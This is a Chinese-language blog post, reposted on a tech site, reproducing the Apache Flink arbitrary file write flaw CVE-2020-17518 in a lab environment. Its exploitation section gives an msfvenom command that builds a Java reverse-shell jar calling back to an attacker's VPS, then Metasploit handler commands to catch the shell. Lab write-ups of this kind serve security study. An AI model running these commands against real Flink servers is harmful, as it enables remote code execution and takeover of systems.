• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

Apache Flink -任意文件写入漏洞复现CVE-2020-17518

武飞扬头像
OidBoy_G
帮助1

1、产品简介

Apache Flink 是高效和分布式的通用数据处理平台,由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎(简单来说,就是跟spark类似)。Flink 具有监控 API,可用于查询"正在运行的jobs" 和 "最近完成的jobs" 的状态和统计信息。该监控 API 被用于 Flink 自己的dashboard,同时也可用于自定义监控工具,默认监听在8081端口。

该监控 API 是 REST-ful API, 即接受 HTTP请求,并响应JSON格式的数据

监控 API 中有一个API是 /jars/upload,其作用是将一个jar上传到集群。该jar必须作为多部分数据发送。确保“ Content-Type”标头设置为“ application / x-java-archive”,因为某些http库默认情况下不添加标头。可以通过curl上传jar文件

2、漏洞概述

Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致任意文件读取(CVE-2020-17519)和任意文件写入(CVE-2020-17518)漏洞。

CVE-2020-17518攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的)。

CVE-2020-17519Apache Flink 1.11.0 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的)。

3、影响范围

Apache:Apache Flink: 1.5.1 - 1.11.2

4、环境搭建

    使用vulfocus靶场进行复现

学新通

 5、利用流程

 1、生成恶意payload jar包(这里我们使用MSF渗透模块进行利用)

msfvenom -p java/shell_reverse_tcp lhost=vpsIP lport=空闲端口 -f jar >b.jar

 2、访问靶场环境,将生成的payload文件下载到本地进行上传

学新通

 3、MSF开启监听,等待shell反弹

  1.  
    msfconsole #启动msf
  2.  
    use exploit/multi/handler #使用漏洞利用模块
  3.  
    开启监听
  4.  
    set payload java/shell_reverse_tcp
  5.  
    set LHOST x.x.x.x #vps地址
  6.  
    set LPORT 6666 #空闲端口
  7.  
    exploit #或者run

4、点击submit ,getshell(靶场环境不稳定,试了好几遍)

  学新通

 6、修复建议

   升级至安全版本

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhiagbkb
系列文章
更多 icon
同类精品
更多 icon
继续加载